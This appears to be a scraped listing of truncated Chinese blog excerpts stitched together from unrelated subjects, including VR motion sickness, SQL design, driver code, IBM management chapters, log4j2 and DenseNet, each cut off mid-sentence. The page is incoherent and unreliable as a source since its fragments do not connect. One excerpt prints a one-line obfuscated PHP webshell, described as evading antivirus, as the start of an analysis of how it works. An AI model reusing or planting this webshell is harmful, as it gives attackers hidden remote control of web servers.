旋转VR相机不头晕:一个反直觉的发现 本文章由cartzhang编写,转载请注明出处. 所有权利保留. 文章链接:http://blog.csdn.net/cartzhang/article/details/50547422 作者:cartzhang 目前为止,对所有VR开发者来说一个明确建议:你可以使用传统游戏杆移动VR相机位置,但是任何水平方向上旋转(鼠标视角或摇杆旋转)都会引起玩家不适. 如上所说,我找到一个方法,当平滑旋转时,玩家不会有任何不适. 一.适用场景 玩家在太空中漂浮,在他前面…
引子 在<容易引起雪崩的两个处理>里,我提到一个慢查询的问题.本文先从整洁架构的角度讲讲慢查询sql完成的功能以及设计,再介绍对sql进行的实施测试现象以及思考. 设计讲解 一见杨过误终身,有多少萌妹子败给了一个痴字.金庸笔下的痴儿怨女数量之多就需要单独申请服务器,用独立存储单元进行存储. 先说神雕侠侣的杨过,陆无双和程英两姐妹苦等他16年最终等来了他和小龙女撒了一波狗粮而去:郭芙含怨20多年:完颜萍一生为杨过梦绕魂牵:郭襄做了尼姑:最惨公孙绿萼,为救他而死,用生命换来的解药杨过转身扔进绝情谷…
为什么玩VR眼镜会头晕?看完本文你就懂了   很多用户都体验过各式各样的VR眼镜或者说头盔,但是不管哪一款,都很容易出现头晕的情况.相信大家都纳闷过,为什么玩VR眼镜会头晕?实际上这是和设备本身的技术含量有关的,下面就带大家详细的了解下,头晕的背后原因. 为什么玩VR眼镜会头晕? 对很多体验过VR的人来说,除了会感觉到爽以外,还一定会感觉到晕!所以,就算VR看上去很美,因为眩晕这一“致命伤”,目前也只能是浅尝即止.从某种意义上讲,VR的使命是制造一个与现实世界一样逼真的虚拟世界,这其实本身就是一…
VR的火爆,自然无需多言.而基于VR这一个概念,已经在多个相关行业不断衍生出新的产品.服务或内容.VR眼镜.VR头盔.VR相机.VR游戏.VR影视.VR应用--但VR产业的发展并不是齐头并进,而是出现头重脚轻,甚至本末倒置的现象.尤其突出的问题在于,处于产业链下游的终端VR眼镜/头盔等太过"喧闹",反而是制作VR内容的工具VR相机等显得非常弱势. 近日,谷歌宣布,将在今年夏季推出面向Jump VR项目的第二代数码相机--Yi Halo,售价1.7万美元.此前,脸书.诺基亚等企业也都推出…
呃...15年开篇~ 去年想写一个有关默认相机转VR相机的脚本,当时没写完,今天不小心翻到并写完了,而且思路也和原来完全不一样了,增加了是否删除原相机与是否转换所选相机的选项. 由于国内VR版本比较混乱,中间加了个中英文版本的适配. fn cam_to_vrcam sel:#off del:#on = ( local sel_cam = #() local del_cam = #() case sel of ( #off : cams = cameras #on : cams = sel_cam…
CoSky 基于 Redis 的服务治理平台(服务注册/发现 & 配置中心) Consul + Sky = CoSky CoSky 是一个轻量级.低成本的服务注册.服务发现. 配置服务 SDK,通过使用现有基础设施中的 Redis (相信你已经部署了Redis),不用给运维部署带来额外的成本与负担. 借助于 Redis 的高性能, CoSky 提供了超高TPS&QPS (10W+/s JMH 基准测试).CoSky 结合本地进程缓存策略 + Redis PubSub ,实现实时进程缓存刷新…
翻转的动画 //开始动画 [UIView beginAnimations:@"doflip" context:nil]; //设置时常 [UIView setAnimationDuration:]; //设置动画淡入淡出 [UIView setAnimationCurve:UIViewAnimationCurveEaseInOut]; //设置代理 [UIView setAnimationDelegate:self]; //设置翻转方向 [UIView setAnimationTran…
2016年伊始,有了VR虚拟现实硬件设备:  暴风魔镜4–好奇者的新玩具 . 2015年下半年的朋友圈中各种VR.AR的新闻层次不穷,搞的我也心痒痒的:好歹咱也是职业的Unity3D程序员,高大上的Oculus rift dk2咱玩不起,搞个廉价的VR产品也玩玩嘛! 故, 暴风魔镜 4刚发布就在网上预订了.    原估计春节前能到货,没有想到元旦前就到货了,高兴 — 业内良心嘛. 迫不及待玩了几天,小结如下: 1 魅蓝 Note 2 + 魔镜4 的VR效果不错,完全对得起159元的预订价,比预期…
代码示例: s = s.replaceAll("\\\\", "\\\\\\\\");…
QString strTemp = “E:\\hell\\word\\detect.txt”   int nIndex = strTemp.lastIndexOf('\\');    strTemp = strTemp.left(nIndex);…
今天依据最新的需求要对LED灯的提示闪烁频率进行改动,将之前默认的2000ms改为10000ms,可是改动之后没有产生预料中的效果,而是变成了常量,百思不得其解,最后还是read the fucking code,从上层究竟层,一路追下来,终于发现了问题所在,以下直接上MTK的LED driver代码: #define PMIC_PERIOD_NUM 9 // 100 * period, ex: 0.01 Hz -> 0.01 * 100 = 1 int pmic_period_array[]…
文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})]; ?> 开始是百思不得其解,后来在测试过程中通…
cp from : https://academy.realm.io/cn/posts/oredev-ty-smith-building-android-sdks-fabric/ Ty Smith Ty 是一个在 Twitter 的 Android 技术负责人,专职于 Fabric 开发工具团队.他曾经负责架构了 Fabric 平台和 Twitter 的 Android SDK,推动了 Digits 和 Twitter SDK 的开源事业,可以说是他一手创建了更大的 Twitter 体系结构.他…
第二十二章 原则性领导 在一个组织程序已经变得不受其来源和内容的约束,而且其编纂出来的组织宗旨已经代替了个人责任的组织之中,你所面临的首要任务,就是要全盘抹掉这个程序本身,以便让整个封闭的系统呼吸新鲜的空气.因此,我对整个IBM的组织程序进行了180度的大转变,只保留下了为数很少的几个组织程序规则.条例以及指导. 我们是从对原则进行陈述而开始这项转变工作的.为什么要有原则?因为我认为,所有的高绩效的公司都是通过原则而不是通过程序来进行领导和管理的.组织决策应该由懂得企业成功的主要推动力所在的领导…
第二十章 论公司文化如果是在20世纪90年代初期,当一个人看见或者听到“IBM”时,他会联想到什么呢?或许是“大计算机”.“个人电脑”或者“ThinkPads”.但是,他们同时也必然会想到“大公司”.“保守”.“严格的管理”.“可靠”以及“黑色正装和白色衬衫”.有趣的是,后面的这些联想并不是指IBM的产品或服务,而是指公司的员工和公司的文化.IBM或许在这一方面是独一无二的,那就是,公司的文化和公司所制造和销售的产品一样的出名.即便是今天,如果你听到或者一想到“IBM”,你也会很快地联想到IBM…
准备工作 打开http://logging.apache.org/log4j/,点击左侧Download,我下载的是Apache Log4j 2 binary (zip),目前是2.0.2版本.解压后有30几个jar包,大部分是跟兼容性及移植性相关的可选组件,我们要用的是: log4j-api-2.0.2.jar log4j-core-2.0.2.jar 第一个示例程序 log4j2.xml <?xml version="1.0" encoding="UTF-8&quo…
1. 摘要 传统的 L 层神经网络只有 L 个连接,DenseNet 的结构则有 L(L+1)/2 个连接,每一层都和前面的所有层进行连接,所以称之为密集连接的网络. 针对每一层网络,其前面所有层的特征图被当作它的输入,这一层的输出则作为其后面所有层的输入. DenseNet 有许多优点:消除了梯度消失问题.加强了特征传播.鼓励特征复用并且大大减少了参数的数量. 2. 介绍 随着卷积神经网络变得越来越深,一个新的问题出现了:输入信息或者梯度在很多层之间传递的过程中会渐渐消失并且被洗掉.很多最近的…
原文:Paul Graham 译者:李智维 /LeanCloudproject师 2014年10月 (这篇文章是我在斯坦福大学举办的Sam Altman创业课堂上的嘉宾演讲稿.本意是写给大学生的,但当中的大部分内容也适合其他年龄的创业者.) 有孩子的一大优点是,当你给年轻人意见的时候,你会问自己,"假设是我的孩子的话,我要如何告诉他?"我孩子还非常小.但我能够想象我孩子上大学的时候,我会告诉他创业的哪些东西.然后这正也是我如今要告诉你的. 创业是非常违背直觉的.我还不确定原因是什么.…
目录 黄高老师190919在北航的报告听后感 故事背景 网络结构 Dense block DenseNet 过渡层 成长率 瓶颈层 细节 实验 发表在2017 CVPR. 摘要 Recent work has shown that convolutional networks can be substantially deeper, more accurate, and efficient to train if they contain shorter connections between…
原文章地址:维度灾难 - 柳枫的文章 - 知乎 https://zhuanlan.zhihu.com/p/27488363 对于大多数数据,在一维空间或者说是低维空间都是很难完全分割的,但是在高纬空间间往往可以找到一个超平面,将其完美分割. 引用The Curse of Dimensionality in Classification的例子来说明:想象下我们有一系列图片,每张图描述的不是猫就是狗.现在我们想利用这些图片来做一个可以判断猫狗的分类器.首先,我们需要找到一些描述猫狗特征,利用这些特征…
在<深入理解Java类加载机制,再也不用死记硬背了>里我提到了对于一门语言的"会"的三个层次.本篇将以知识地图的形式展现学习消息中间件MQ各个层次要掌握的内容. 知识地图是一种知识导航系统,并显示不同的知识存储之间重要的动态联系.所以本篇重点不是介绍某个知识点,而是介绍掌握消息中间件,需要看哪些文章的导航. 消息中间件MQ会的三个层次与黄金圈法则相对应. What层:hello world 级别 What层:hello world 级别,知道它能做什么.在<Rabbi…
在11节我们说过,MVP矩阵中目前只应用了两个矩阵,World to View 矩阵被省略了,这就导致我们的画面没有办法转换视角. 本节我们将添加这一环节,让相机可以旋转. 为了实现这一目的,我们添加一个相机类, Camera类. Camera.h: #pragma once #include <glm\glm.hpp> class Camera { private: glm::vec3 position; glm::vec3 viewDirection; const glm::vec3 UP…
FORK(相机)是一个通过分享图片来建立社交的app,它有着鲜明的配色,还算不错的贴图创新,细腻的产品设计,但是由于产品定位不清晰.设计亮点不多以及推广不利,从2014年5月第一版开始就没有火过.所以我要在此分析一下这个app的设计思路和优缺点. 从产品设计初衷来说,中国缺乏有创意的图片社交app.很少有app愿意将自己的路线向纵深发展.然而糗事百科.陌陌这些自降规格的产品仍然能风靡一时,证明只要图片社交有黏性就还是有受众欢迎的. 下图是fork的产品结构: 从功能上来说,它已经是一个及格的社交…
简单介绍 上网易前端微专业课程,里面有一个课外作业是实现一个3D旋转立方体.花了点时间做了下.还有点意思.写个简单教程.供大家学习. 先放上终于要实现的效果 注:代码在chrome 43.0.2357.124 m正常,其它浏览器未測试 步骤 1.在二维平面上放置好各个面 大家小时候可能都玩过"叠盒子",就是在一张纸上线画出一个盒子的展开图,然后裁剪叠出一个盒子,相似下图这样: 看到这个应该有点思路了吧,我们这里也按这个思路把立方体各个面先在平面上摆好,然后通过旋转各个面,组成立方体.…
近期一年来,VR虚拟现实和AR增强现实技术的宣传甚嚣尘上.事实上VR,AR技术非常早就有了,一直没有流行开来.不可否认价格是影响技术推广的最大壁垒. 谷歌对VR最大的贡献是提供了便宜的谷歌眼镜,依照GOOGLE提供的图纸,使用两个放大镜和一个披萨盒就能轻松DIY出自己的VR眼镜,同一时期谷歌推出来开源的VR SDK,使得开发人员能够轻松构建VR游戏和VR播放器,使得差点儿全部对这一切感兴趣的公司能够轻松的低成本的在技术上布局VR产业链. 非常多VR眼镜已经降到了几十块钱.毫无疑问,谷歌又借着便宜…
[微信支付]分享一个失败的案例 2018-06-04 08:24 by stoneniqiu, 2744 阅读, 29 评论, 收藏, 编辑 这个项目是去年做的,开始客户还在推广,几个月后发现服务器已经关掉了.这是一个发图片猜谜语的应用,用户猜对了分红包,所得奖金可以提现.开发的时候对需求都不太看好,觉得用户粘性太低了.今天就把所有的程序拿了出来放在了github上.供有兴趣的伙伴玩耍. 产品逻辑 用户从公众号直接进来,可以做两件事,一个是发布悬赏谜题,一个是去答题.答题获得赏金可以提现.之前还…
文章英文原网址: http://www.gamasutra.com/blogs/BrianKehrer/20160125/264161/VR_Distortion_Correction_using_Vertex_Displacement.php 利用顶点位移的VR畸变校正 2016年1月29日 Brian Kehren著 在VR开发的最大挑战之一是对高帧率与高分辨率结合的要求.我们通过把顶点转化为“镜头空间”,删除了需要全屏渲染的纹理,这样就可以大规模提高手机性能. 下面的技术使用谷歌的Card…
VR开发的最大挑战之一是对高帧率与高分辨率结合的要求.我们通过把顶点转化为“镜头空间”,删除了需要全屏渲染的纹理,这样就可以大规模提高手机性能. 下面的技术使用谷歌的Cardboard Unity SDK进行开发,应用于Cardboard Design Lab(CDL),然而,利用透镜畸变效果,给与适当的失真系数去构成顶点着色器,并且SDK允许禁止渲染纹理,这样同样的方法可以适用于任何VR系统. Google公司的Cardboard Design Lab,在Google Play这个场景中可能使…
作者:王寒链接:https://zhuanlan.zhihu.com/p/20485529来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 欢迎继续我们的学习. 北京时间2016年1月7日凌晨,Oculus正式开放对首款消费版Rift产品CV1的预订.599刀的价格让很多VR粉丝心头一紧,不过想想第一代iPhone的价格也是这样,只能期待后续的版本降价了. 筑基 为了准备好学习使用Unity开发VR应用,我们首先要检查下自己的电脑硬件和软件配置是否满足要求.简单来说…
从编译DotNetOpenAuth中学到的程序集强签名知识 OAuth的一个.NET开源实现,官方网站:http://dotnetopenauth.net/ . 从GitHub签出DotNetOpenAuth的源代码发现最新版本已到5.1,而NuGet中发布的版本只是4.3.新版中使用到了.NET 4.5的异步特性(async, await),于是决定直接用最新版. 用最新版,就要自己进行编译.用Visual Studio 2012打开解决方案文件进行编译,一次编译成功,但编译出的DotNetO…